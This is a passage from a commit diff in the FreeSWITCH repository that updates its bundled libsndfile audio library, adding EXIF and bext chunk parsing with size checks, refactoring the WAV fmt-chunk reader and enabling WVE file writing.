-					cptr [dword - 1] = 0 ;
+					cptr [dword] = 0 ;
 					psf_log_printf (psf, "    %M : %s\n", chunk, cptr) ;
 					break ;
 
@@ -1285,7 +1349,7 @@
 						bytesread += psf_binheader_readf (psf, "44", &dword, &mark_id) ;
 						dword -= 4 ;
 						dword += (dword & 1) ;
-						if (dword < 1 || dword > SIGNED_SIZEOF (psf->u.cbuf))
+						if (dword < 1 || dword >= SIGNED_SIZEOF (psf->u.cbuf))
 						{	psf_log_printf (psf, "  *** %M : %d (too big)\n", chunk, dword) ;
 							psf_binheader_readf (psf, "j", dword) ;
 							break ;
@@ -1294,7 +1358,7 @@
 						cptr = psf->u.cbuf ;
 						psf_binheader_readf (psf, "b", cptr, dword) ;
 						bytesread += dword ;
-						cptr [dword - 1] = 0 ;
+						cptr [dword] = 0 ;
 						psf_log_printf (psf, "    %M : %d : %s\n", chunk, mark_id, cptr) ;
 						} ;
 					break ;
@@ -1310,6 +1374,22 @@
 					psf_log_printf (psf, "    %M : %d\n", chunk, dword) ;
 					break ;
 
+			case exif_MARKER :
+					psf_log_printf (psf, "  %M\n", chunk) ;
+					bytesread += exif_subchunk_parse (psf, length - bytesread) ;
+					break ;
+
+			case 0 :
+					/*
+					**	Four zero bytes where a marker was expected. Assume this means
+					**	the rest of the chunk is garbage.
+					*/
+					psf_log_printf (psf, "    *** Found weird-ass zero marker. Jumping to end of chunk.\n") ;
+					if (bytesread < length)
+						bytesread += psf_binheader_readf (psf, "j", length - bytesread + 4) ;
+					psf_log_printf (psf, "    *** Offset is now : 0x%X\n", psf_fseek (psf, 0, SEEK_CUR)) ;
+					return 0 ;
+
 			default :
 					psf_binheader_readf (psf, "4", &dword) ;
 					bytesread += sizeof (dword) ;
@@ -1374,7 +1454,7 @@
 
 	bytesread += psf_binheader_readf (psf, "4", &dword) ;
 	if (dword != 0)
-	{	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "%f",
+	{	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "%f",
 				 (1.0 * 0x80000000) / ((unsigned int) dword)) ;
 		psf_log_printf (psf, "  Pitch Fract. : %s\n", psf->u.cbuf) ;
 		}
@@ -1385,7 +1465,7 @@
 	psf_log_printf (psf, "  SMPTE Format : %u\n", dword) ;
 
 	bytesread += psf_binheader_readf (psf, "4", &dword) ;
-	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "%02d:%02d:%02d %02d",
+	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "%02d:%02d:%02d %02d",
 		 (dword >> 24) & 0x7F, (dword >> 16) & 0x7F, (dword >> 8) & 0x7F, dword & 0x7F) ;
 	psf_log_printf (psf, "  SMPTE Offset : %s\n", psf->u.cbuf) ;
 
@@ -1523,7 +1603,7 @@
 
 	bytesread += psf_binheader_readf (psf, "422f", &flags, &rootnote, &q1, &q2) ;
 
-	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "%f", q2) ;
+	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "%f", q2) ;
 
 	psf_log_printf (psf, "  Flags     : 0x%04x (%s,%s,%s,%s,%s)\n", flags,
 			(flags & 0x01) ? "OneShot" : "Loop",
@@ -1536,7 +1616,7 @@
 				rootnote, q1, psf->u.cbuf) ;
 
 	bytesread += psf_binheader_readf (psf, "422f", &beats, &meter_denom, &meter_numer, &tempo) ;
-	LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "%f", tempo) ;
+	snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "%f", tempo) ;
 	psf_log_printf (psf, "  Beats     : %d\n  Meter     : %d/%d\n  Tempo     : %s\n",
 				beats, meter_numer, meter_denom, psf->u.cbuf) ;
 
@@ -1555,43 +1635,53 @@
 	return 0 ;
 } /* wav_read_acid_chunk */
 
-int
+static int
 wav_read_bext_chunk (SF_PRIVATE *psf, unsigned int chunksize)
 {
 	SF_BROADCAST_INFO* b ;
+	unsigned int bytes = 0 ;
 
-	if ((psf->broadcast_info = calloc (1, sizeof (SF_BROADCAST_INFO))) == NULL)
+	if (chunksize < WAV_BEXT_MIN_CHUNK_SIZE)
+	{	psf_log_printf (psf, "bext : %u (should be >= %d)\n", chunksize, WAV_BEXT_MIN_CHUNK_SIZE) ;
+		psf_binheader_readf (psf, "j", chunksize) ;
+		return 0 ;
+		} ;
+
+	if (chunksize > WAV_BEXT_MAX_CHUNK_SIZE)
+	{	psf_log_printf (psf, "bext : %u (should be < %d)\n", chunksize, WAV_BEXT_MAX_CHUNK_SIZE) ;
+		psf_binheader_readf (psf, "j", chunksize) ;
+		return 0 ;
+		} ;
+
+	psf_log_printf (psf, "bext : %u\n", chunksize) ;
+
+	if ((psf->broadcast_var = broadcast_var_alloc (chunksize + 128)) == NULL)
 	{	psf->error = SFE_MALLOC_FAILED ;
-		return -1 ;
+		return psf->error ;
 		} ;
 
-	b = psf->broadcast_info ;
+	b = & psf->broadcast_var->binfo ;
 
-	psf_binheader_readf (psf, "b", b->description, sizeof (b->description)) ;
-	psf_binheader_readf (psf, "b", b->originator, sizeof (b->originator)) ;
-	psf_binheader_readf (psf, "b", b->originator_reference, sizeof (b->originator_reference)) ;
-	psf_binheader_readf (psf, "b", b->origination_date, sizeof (b->origination_date)) ;
-	psf_binheader_readf (psf, "b", b->origination_time, sizeof (b->origination_time)) ;
-	psf_binheader_readf (psf, "442", &b->time_reference_low, &b->time_reference_high, &b->version) ;
-	psf_binheader_readf (psf, "bj", &b->umid, sizeof (b->umid), 190) ;
+	bytes += psf_binheader_readf (psf, "b", b->description, sizeof (b->description)) ;
+	bytes += psf_binheader_readf (psf, "b", b->originator, sizeof (b->originator)) ;
+	bytes += psf_binheader_readf (psf, "b", b->originator_reference, sizeof (b->originator_reference)) ;
+	bytes += psf_binheader_readf (psf, "b", b->origination_date, sizeof (b->origination_date)) ;
+	bytes += psf_binheader_readf (psf, "b", b->origination_time, sizeof (b->origination_time)) ;
+	bytes += psf_binheader_readf (psf, "442", &b->time_reference_low, &b->time_reference_high, &b->version) ;
+	bytes += psf_binheader_readf (psf, "bj", &b->umid, sizeof (b->umid), 190) ;
 
-	if (chunksize > WAV_BEXT_CHUNK_SIZE)
+	if (chunksize > WAV_BEXT_MIN_CHUNK_SIZE)
 	{	/* File has coding history data. */
 
-		b->coding_history_size = chunksize - WAV_BEXT_CHUNK_SIZE ;
+		b->coding_history_size = chunksize - WAV_BEXT_MIN_CHUNK_SIZE ;
 
-		if (b->coding_history_size > SIGNED_SIZEOF (b->coding_history))
-		{	free (psf->broadcast_info) ;
-			psf->broadcast_info = NULL ;
-			psf->error = SFE_MALLOC_FAILED ;
-			return -1 ;
-			} ;
-
 		/* We do not parse the coding history */
-		psf_binheader_readf (psf, "b", b->coding_history, b->coding_history_size) ;
-		b->coding_history [sizeof (b->coding_history) - 1] = 0 ;
+		bytes += psf_binheader_readf (psf, "b", b->coding_history, b->coding_history_size) ;
 		} ;
 
+	if (bytes < chunksize)
+		psf_binheader_readf (psf, "j", chunksize - bytes) ;
+
 	return 0 ;
 } /* wav_read_bext_chunk */
 
@@ -1599,11 +1689,13 @@
 wav_write_bext_chunk (SF_PRIVATE *psf)
 {	SF_BROADCAST_INFO *b ;
 
-	if ((b = psf->broadcast_info) == NULL)
+	if (psf->broadcast_var == NULL)
 		return -1 ;
 
-	psf_binheader_writef (psf, "m4", bext_MARKER, WAV_BEXT_CHUNK_SIZE + b->coding_history_size) ;
+	b = & psf->broadcast_var->binfo ;
 
+	psf_binheader_writef (psf, "m4", bext_MARKER, WAV_BEXT_MIN_CHUNK_SIZE + b->coding_history_size) ;
+
 	/*
 	**	Note that it is very important the the field widths of the SF_BROADCAST_INFO
 	**	struct match those for the bext chunk fields.
@@ -1624,10 +1716,85 @@
 	return 0 ;
 } /* wav_write_bext_chunk */
 
+static int
+exif_fill_and_sink (SF_PRIVATE *psf, char* buf, size_t bufsz, size_t toread)
+{
+	size_t bytesread = 0 ;
+
+	buf [0] = 0 ;
+	bufsz -= 1 ;
+	if (toread < bufsz)
+		bufsz = toread ;
+	bytesread = psf_binheader_readf (psf, "b", buf, bufsz) ;
+	buf [bufsz] = 0 ;
+
+	if (bytesread == bufsz && toread > bufsz)
+		bytesread += psf_binheader_readf (psf, "j", toread - bufsz) ;
+
+	return bytesread ;
+} /* exif_fill_and_sink */
+
 /*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 9c551689-a1d8-4905-9f56-26a204374f18
+** Exif specification for audio files, at JEITA CP-3451 Exif 2.2 section 5
+** (Exif Audio File Specification) http://www.exif.org/Exif2-2.PDF
 */
+static int
+exif_subchunk_parse (SF_PRIVATE *psf, unsigned int length)
+{	unsigned marker, dword, vmajor = -1, vminor = -1, bytesread = 0 ;
+	char buf [4096] ;
+
+	while (bytesread < length)
+	{
+		bytesread += psf_binheader_readf (psf, "m", &marker) ;
+
+		switch (marker)
+		{
+			case 0 : /* camera padding? */
+				break ;
+
+			case ever_MARKER :
+				bytesread += psf_binheader_readf (psf, "j4", 4, &dword) ;
+				vmajor = 10 * (((dword >> 24) & 0xff) - '0') + (((dword >> 16) & 0xff) - '0') ;
+				vminor = 10 * (((dword >> 8) & 0xff) - '0') + ((dword & 0xff) - '0') ;
+				psf_log_printf (psf, "    EXIF Version : %u.%02u\n", vmajor, vminor) ;
+				break ;
+
+			case emnt_MARKER : /* design information: null-terminated string */
+			case emdl_MARKER : /* model name ; null-terminated string */
+			case ecor_MARKER : /* manufacturer: null-terminated string */
+			case etim_MARKER : /* creation time: null-terminated string in the format "hour:minute:second.subsecond" */
+			case erel_MARKER : /* relation info: null-terminated string (filename) */
+			case eucm_MARKER : /* user comment: 4-byte size follows, then possibly unicode data */
+				psf_binheader_readf (psf, "4", &dword) ;
+				bytesread += sizeof (dword) ;
+				dword += (dword & 1) ;
+
+				if (dword >= sizeof (buf))
+				{	psf_log_printf (psf, "*** Marker '%M' is too big %u\n\n", marker, dword) ;
+					return bytesread ;
+					} ;
+
+				bytesread += exif_fill_and_sink (psf, buf, sizeof (buf), dword) ;
+
+				/* BAD - don't know what's going on here -- maybe a bug in the camera */
+				/* field should be NULL-terminated but there's no room for it with the reported number */
+				/*  example output:     emdl : 8 (EX-Z1050) */
+				if (marker == emdl_MARKER && dword == strlen (buf) /* should be >= strlen+1*/)
+				{	psf_log_printf (psf, "    *** field size too small for string (sinking 2 bytes)\n") ;
+					bytesread += psf_binheader_readf (psf, "j", 2) ;
+					} ;
+
+				psf_log_printf (psf, "    %M : %d (%s)\n", marker, dword, buf) ;
+				if (dword > length)
+					return bytesread ;
+				break ;
+
+			default :
+				psf_log_printf (psf, "    *** %M (%d): -- ignored --\n", marker, marker) ;
+				break ;
+			} ;
+		} ;
+
+	return bytesread ;
+} /* exif_subchunk_parse */
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/wav_w64.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/wav_w64.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/wav_w64.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2004-2005 David Viens <davidv@plogue.com>
 **
 ** This program is free software; you can redistribute it and/or modify
@@ -56,11 +56,11 @@
 */
 
 static const EXT_SUBFORMAT MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM =
-{	0x00000001, 0x0721, 0x11d3, {	0x86, 0x44, 0xC8, 0xC1, 0xCA, 0x00, 0x00, 0x00 }
+{	0x00000001, 0x0721, 0x11d3, {	0x86, 0x44, 0xc8, 0xc1, 0xca, 0x00, 0x00, 0x00 }
 } ;
 
 static const EXT_SUBFORMAT MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_IEEE_FLOAT =
-{	0x00000003, 0x0721, 0x11d3, {	0x86, 0x44, 0xC8, 0xC1, 0xCA, 0x00, 0x00, 0x00 }
+{	0x00000003, 0x0721, 0x11d3, {	0x86, 0x44, 0xc8, 0xc1, 0xca, 0x00, 0x00, 0x00 }
 } ;
 
 
@@ -68,7 +68,7 @@
 /* maybe interesting one day to read the following through sf_read_raw */
 /* http://www.bath.ac.uk/~masrwd/pvocex/pvocex.html */
 static const EXT_SUBFORMAT MSGUID_SUBTYPE_PVOCEX =
-{	0x8312B9C2, 0x2E6E, 0x11d4, {	0xA8, 0x24, 0xDE, 0x5B, 0x96, 0xC3, 0xAB, 0x21 }
+{	0x8312b9c2, 0x2e6e, 0x11d4, {	0xa8, 0x24, 0xde, 0x5b, 0x96, 0xc3, 0xab, 0x21 }
 } ;
 #endif
 
@@ -77,19 +77,25 @@
  */
 
 static int
-wavex_write_guid_equal (const EXT_SUBFORMAT * first, const EXT_SUBFORMAT * second)
+wavex_guid_equal (const EXT_SUBFORMAT * first, const EXT_SUBFORMAT * second)
 {	return !memcmp (first, second, sizeof (EXT_SUBFORMAT)) ;
-} /* wavex_write_guid_equal */
+} /* wavex_guid_equal */
 
 
 
 int
-wav_w64_read_fmt_chunk (SF_PRIVATE *psf, WAV_FMT *wav_fmt, int structsize)
-{	int	bytesread, k, bytespersec = 0 ;
+wav_w64_read_fmt_chunk (SF_PRIVATE *psf, int fmtsize)
+{	WAV_PRIVATE * wpriv ;
+	WAV_FMT *wav_fmt ;
+	int	bytesread, k, bytespersec = 0 ;
 
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+	wav_fmt = &wpriv->wav_fmt ;
+
 	memset (wav_fmt, 0, sizeof (WAV_FMT)) ;
 
-	if (structsize < 16)
+	if (fmtsize < 16)
 		return SFE_WAV_FMT_SHORT ;
 
 	/* assume psf->rwf_endian is already properly set */
@@ -105,14 +111,23 @@
 	psf_log_printf (psf, "  Sample Rate   : %d\n", wav_fmt->min.samplerate) ;
 	psf_log_printf (psf, "  Block Align   : %d\n", wav_fmt->min.blockalign) ;
 
+	if (wav_fmt->min.blockalign == 0)
+	{	psf_log_printf (psf, "*** Error : wav_fmt->min.blockalign should not be zero.\n") ;
+		return SFE_INTERNAL ;
+		} ;
+
 	if (wav_fmt->format == WAVE_FORMAT_PCM && wav_fmt->min.bitwidth == 24 &&
 			wav_fmt->min.blockalign == 4 * wav_fmt->min.channels)
-	{
-		psf_log_printf (psf, "\nInvalid file generated by Syntrillium's Cooledit!\n"
-				"Treating as WAVE_FORMAT_IEEE_FLOAT 32 bit floating point file.\n\n") ;
-		psf_log_printf (psf, "  Bit Width     : 24 (should be 32)\n") ;
-		wav_fmt->min.bitwidth = 32 ;
-		wav_fmt->format = WAVE_FORMAT_IEEE_FLOAT ;
+	{	psf_log_printf (psf, "  Bit Width     : 24\n") ;
+
+		psf_log_printf (psf, "\n"
+			"  Ambiguous information in 'fmt ' chunk. Possibile file types:\n"
+			"    0) Invalid IEEE float file generated by Syntrillium's Cooledit!\n"
+			"    1) File generated by ALSA's arecord containing 24 bit samples in 32 bit containers.\n"
+			"    2) 24 bit file with incorrect Block Align value.\n"
+			"\n") ;
+
+		wpriv->fmt_is_broken = 1 ;
 		}
 	else if (wav_fmt->min.bitwidth == 0)
 	{	switch (wav_fmt->format)
@@ -159,7 +174,7 @@
 					psf_log_printf (psf, "  Bytes/sec     : %d\n", wav_fmt->min.bytespersec) ;
 
 				psf->bytewidth = 1 ;
-				if (structsize >= 18)
+				if (fmtsize >= 18)
 				{	bytesread += psf_binheader_readf (psf, "2", &(wav_fmt->size20.extrabytes)) ;
 					psf_log_printf (psf, "  Extra Bytes   : %d\n", wav_fmt->size20.extrabytes) ;
 					} ;
@@ -207,9 +222,9 @@
 				psf->bytewidth = 2 ;
 				psf_log_printf (psf, "  Extra Bytes   : %d\n", wav_fmt->msadpcm.extrabytes) ;
 				psf_log_printf (psf, "  Samples/Block : %d\n", wav_fmt->msadpcm.samplesperblock) ;
-				if (wav_fmt->msadpcm.numcoeffs > SIGNED_SIZEOF (MS_ADPCM_WAV_FMT) / SIGNED_SIZEOF (int))
-				{	psf_log_printf (psf, "  No. of Coeffs : %d ****\n", wav_fmt->msadpcm.numcoeffs) ;
-					wav_fmt->msadpcm.numcoeffs = SIGNED_SIZEOF (MS_ADPCM_WAV_FMT) / SIGNED_SIZEOF (int) ;
+				if (wav_fmt->msadpcm.numcoeffs > ARRAY_LEN (wav_fmt->msadpcm.coeffs))
+				{	psf_log_printf (psf, "  No. of Coeffs : %d (should be <= %d)\n", wav_fmt->msadpcm.numcoeffs, ARRAY_LEN (wav_fmt->msadpcm.coeffs)) ;
+					wav_fmt->msadpcm.numcoeffs = ARRAY_LEN (wav_fmt->msadpcm.coeffs) ;
 					}
 				else
 					psf_log_printf (psf, "  No. of Coeffs : %d\n", wav_fmt->msadpcm.numcoeffs) ;
@@ -218,7 +233,7 @@
 				for (k = 0 ; k < wav_fmt->msadpcm.numcoeffs ; k++)
 				{	bytesread +=
 					psf_binheader_readf (psf, "22", &(wav_fmt->msadpcm.coeffs [k].coeff1), &(wav_fmt->msadpcm.coeffs [k].coeff2)) ;
-					LSF_SNPRINTF (psf->u.cbuf, sizeof (psf->u.cbuf), "     %2d     %7d   %7d\n", k, wav_fmt->msadpcm.coeffs [k].coeff1, wav_fmt->msadpcm.coeffs [k].coeff2) ;
+					snprintf (psf->u.cbuf, sizeof (psf->u.cbuf), "     %2d     %7d   %7d\n", k, wav_fmt->msadpcm.coeffs [k].coeff1, wav_fmt->msadpcm.coeffs [k].coeff2) ;
 					psf_log_printf (psf, psf->u.cbuf) ;
 					} ;
 				break ;
@@ -275,35 +290,44 @@
 				psf->bytewidth = BITWIDTH2BYTES (wav_fmt->ext.bitwidth) ;
 
 				/* Compare GUIDs for known ones. */
-				if (wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_PCM)
-					|| wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM))
+				if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_PCM))
 				{	psf->sf.format = SF_FORMAT_WAVEX | u_bitwidth_to_subformat (psf->bytewidth * 8) ;
 					psf_log_printf (psf, "    format : pcm\n") ;
 					}
-				else if (wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_MS_ADPCM))
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_MS_ADPCM))
 				{	psf->sf.format = (SF_FORMAT_WAVEX | SF_FORMAT_MS_ADPCM) ;
 					psf_log_printf (psf, "    format : ms adpcm\n") ;
 					}
-				else if (wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_IEEE_FLOAT)
-						|| wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM))
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_IEEE_FLOAT))
 				{	psf->sf.format = SF_FORMAT_WAVEX | ((psf->bytewidth == 8) ? SF_FORMAT_DOUBLE : SF_FORMAT_FLOAT) ;
 					psf_log_printf (psf, "    format : IEEE float\n") ;
 					}
-				else if (wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_ALAW))
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_ALAW))
 				{	psf->sf.format = (SF_FORMAT_WAVEX | SF_FORMAT_ALAW) ;
 					psf_log_printf (psf, "    format : A-law\n") ;
 					}
-				else if (wavex_write_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_MULAW))
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_MULAW))
 				{	psf->sf.format = (SF_FORMAT_WAVEX | SF_FORMAT_ULAW) ;
 					psf_log_printf (psf, "    format : u-law\n") ;
 					}
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM))
+				{	psf->sf.format = SF_FORMAT_WAVEX | u_bitwidth_to_subformat (psf->bytewidth * 8) ;
+					psf_log_printf (psf, "    format : pcm (Ambisonic B)\n") ;
+					wpriv->wavex_ambisonic = SF_AMBISONIC_B_FORMAT ;
+					}
+				else if (wavex_guid_equal (&wav_fmt->ext.esf, &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_IEEE_FLOAT))
+				{	psf->sf.format = SF_FORMAT_WAVEX | ((psf->bytewidth == 8) ? SF_FORMAT_DOUBLE : SF_FORMAT_FLOAT) ;
+					psf_log_printf (psf, "    format : IEEE float (Ambisonic B)\n") ;
+					wpriv->wavex_ambisonic = SF_AMBISONIC_B_FORMAT ;
+					}
 				else
 					return SFE_UNIMPLEMENTED ;
+
 				break ;
 
 		case WAVE_FORMAT_G721_ADPCM :
 				psf_log_printf (psf, "  Bytes/sec     : %d\n", wav_fmt->g72x.bytespersec) ;
-				if (structsize >= 20)
+				if (fmtsize >= 20)
 				{	bytesread += psf_binheader_readf (psf, "22", &(wav_fmt->g72x.extrabytes), &(wav_fmt->g72x.auxblocksize)) ;
 					if (wav_fmt->g72x.extrabytes == 0)
 						psf_log_printf (psf, "  Extra Bytes   : %d (should be 2)\n", wav_fmt->g72x.extrabytes) ;
@@ -311,7 +335,7 @@
 						psf_log_printf (psf, "  Extra Bytes   : %d\n", wav_fmt->g72x.extrabytes) ;
 						psf_log_printf (psf, "  Aux Blk Size  : %d\n", wav_fmt->g72x.auxblocksize) ;
 					}
-				else if (structsize == 18)
+				else if (fmtsize == 18)
 				{	bytesread += psf_binheader_readf (psf, "2", &(wav_fmt->g72x.extrabytes)) ;
 					psf_log_printf (psf, "  Extra Bytes   : %d%s\n", wav_fmt->g72x.extrabytes, wav_fmt->g72x.extrabytes != 0 ? " (should be 0)" : "") ;
 					}
@@ -321,15 +345,15 @@
 
 		default :
 				psf_log_printf (psf, "*** No 'fmt ' chunk dumper for this format!\n") ;
-				break ;
+				return SFE_WAV_BAD_FMT ;
 		} ;
 
-	if (bytesread > structsize)
-	{	psf_log_printf (psf, "*** wav_w64_read_fmt_chunk (bytesread > structsize)\n") ;
-		return SFE_W64_FMT_SHORT ;
+	if (bytesread > fmtsize)
+	{	psf_log_printf (psf, "*** wav_w64_read_fmt_chunk (bytesread > fmtsize)\n") ;
+		return SFE_WAV_BAD_FMT ;
 		}
 	else
-		psf_binheader_readf (psf, "j", structsize - bytesread) ;
+		psf_binheader_readf (psf, "j", fmtsize - bytesread) ;
 
 	psf->blockwidth = wav_fmt->min.channels * psf->bytewidth ;
 
@@ -344,7 +368,63 @@
 					subformat->esf_field4, make_size_t (8)) ;
 } /* wavex_write_guid */
 
+void
+wav_w64_analyze (SF_PRIVATE *psf)
+{	AUDIO_DETECT ad ;
+	int format = 0 ;
 
+	if (psf->is_pipe)
+	{	psf_log_printf (psf, "*** Error : Reading from a pipe. Can't analyze data section to figure out real data format.\n\n") ;
+		return ;
+		} ;
+
+	psf_log_printf (psf, "---------------------------------------------------\n"
+						"Format is known to be broken. Using detection code.\n") ;
+
+	/* Code goes here. */
+	ad.endianness = SF_ENDIAN_LITTLE ;
+	ad.channels = psf->sf.channels ;
+
+	psf_fseek (psf, 3 * 4 * 50, SEEK_SET) ;
+
+	while (psf_fread (psf->u.ucbuf, 1, 4096, psf) == 4096)
+	{	format = audio_detect (psf, &ad, psf->u.ucbuf, 4096) ;
+		if (format != 0)
+			break ;
+		} ;
+
+	/* Seek to start of DATA section. */
+	psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
+
+	if (format == 0)
+	{	psf_log_printf (psf, "wav_w64_analyze : detection failed.\n") ;
+		return ;
+		} ;
+
+	switch (format)
+	{	case SF_FORMAT_PCM_32 :
+		case SF_FORMAT_FLOAT :
+			psf_log_printf (psf, "wav_w64_analyze : found format : 0x%X\n", format) ;
+			psf->sf.format = (psf->sf.format & ~SF_FORMAT_SUBMASK) + format ;
+			psf->bytewidth = 4 ;
+			psf->blockwidth = psf->sf.channels * psf->bytewidth ;
+			break ;
+
+		case SF_FORMAT_PCM_24 :
+			psf_log_printf (psf, "wav_w64_analyze : found format : 0x%X\n", format) ;
+			psf->sf.format = (psf->sf.format & ~SF_FORMAT_SUBMASK) + format ;
+			psf->bytewidth = 3 ;
+			psf->blockwidth = psf->sf.channels * psf->bytewidth ;
+			break ;
+
+		default :
+			psf_log_printf (psf, "wav_w64_analyze : unhandled format : 0x%X\n", format) ;
+			break ;
+		} ;
+
+	return ;
+} /* wav_w64_analyze */
+
 /*==============================================================================
 */
 
@@ -500,10 +580,3 @@
 		return 1024 ;
 	return 2048 ;
 } /* srate2blocksize */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 43c1b1dd-8abd-43da-a8cd-44da914b64a5
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/wav_w64.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/wav_w64.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/wav_w64.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -256,6 +256,15 @@
 {	int frames ;
 } FACT_CHUNK ;
 
+typedef struct
+{	/* For ambisonic commands */
+	int	wavex_ambisonic ;
+
+	/* Set to true when 'fmt ' chunk is ambiguous.*/
+	int fmt_is_broken ;
+	WAV_FMT wav_fmt ;
+} WAV_PRIVATE ;
+
 #define		WAV_W64_GSM610_BLOCKSIZE	65
 #define		WAV_W64_GSM610_SAMPLES		320
 
@@ -273,14 +282,9 @@
 
 int 	wav_w64_srate2blocksize (int srate_chan_product) ;
 char const* wav_w64_format_str (int k) ;
-int		wav_w64_read_fmt_chunk (SF_PRIVATE *psf, WAV_FMT *wav_fmt, int structsize) ;
+int		wav_w64_read_fmt_chunk (SF_PRIVATE *psf, int fmtsize) ;
 void	wavex_write_guid (SF_PRIVATE *psf, const EXT_SUBFORMAT * subformat) ;
+void	wav_w64_analyze (SF_PRIVATE *psf) ;
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 877fde12-9be3-4a31-8a5a-fdae39958613
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/wve.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/wve.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/wve.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,6 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2007 Reuben Thomas
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -27,32 +28,24 @@
 #include	"sfendian.h"
 #include	"common.h"
 
-#if (ENABLE_EXPERIMENTAL_CODE == 0)
-
-int
-wve_open	(SF_PRIVATE *psf)
-{	if (psf)
-		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
-} /* wve_open */
-
-#else
-
-#define	SFE_WVE_NOT_WVE	666
-
 /*------------------------------------------------------------------------------
-** Macros to handle big/little endian issues.
+** Macros to handle big/little endian issues, and other magic numbers.
 */
 
-#define ALAW_MARKER		MAKE_MARKER ('A', 'L', 'a', 'w')
-#define SOUN_MARKER		MAKE_MARKER ('S', 'o', 'u', 'n')
-#define DFIL_MARKER		MAKE_MARKER ('d', 'F', 'i', 'l')
+#define ALAW_MARKER			MAKE_MARKER ('A', 'L', 'a', 'w')
+#define SOUN_MARKER			MAKE_MARKER ('S', 'o', 'u', 'n')
+#define DFIL_MARKER			MAKE_MARKER ('d', 'F', 'i', 'l')
+#define ESSN_MARKER			MAKE_MARKER ('e', '*', '*', '\0')
+#define PSION_VERSION		((unsigned short) 3856)
+#define PSION_DATAOFFSET	0x20
 
 /*------------------------------------------------------------------------------
 ** Private static functions.
 */
 
 static int	wve_read_header (SF_PRIVATE *psf) ;
+static int	wve_write_header (SF_PRIVATE *psf, int calc_length) ;
+static int	wve_close (SF_PRIVATE *psf) ;
 
 /*------------------------------------------------------------------------------
 ** Public function.
@@ -60,19 +53,34 @@
 
 int
 wve_open (SF_PRIVATE *psf)
-{	int	subformat, error = 0 ;
+{	int	error = 0 ;
 
+	if (psf->is_pipe)
+		return SFE_WVE_NO_PIPE ;
+
+	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR && psf->filelength > 0))
+	{	if ((error = wve_read_header (psf)))
+			return error ;
+		} ;
+
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-		return SFE_UNIMPLEMENTED ;
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_WVE)
+			return	SFE_BAD_OPEN_FORMAT ;
 
-	if ((error = wve_read_header (psf)))
-		return error ;
+		psf->endian = SF_ENDIAN_BIG ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_WVE)
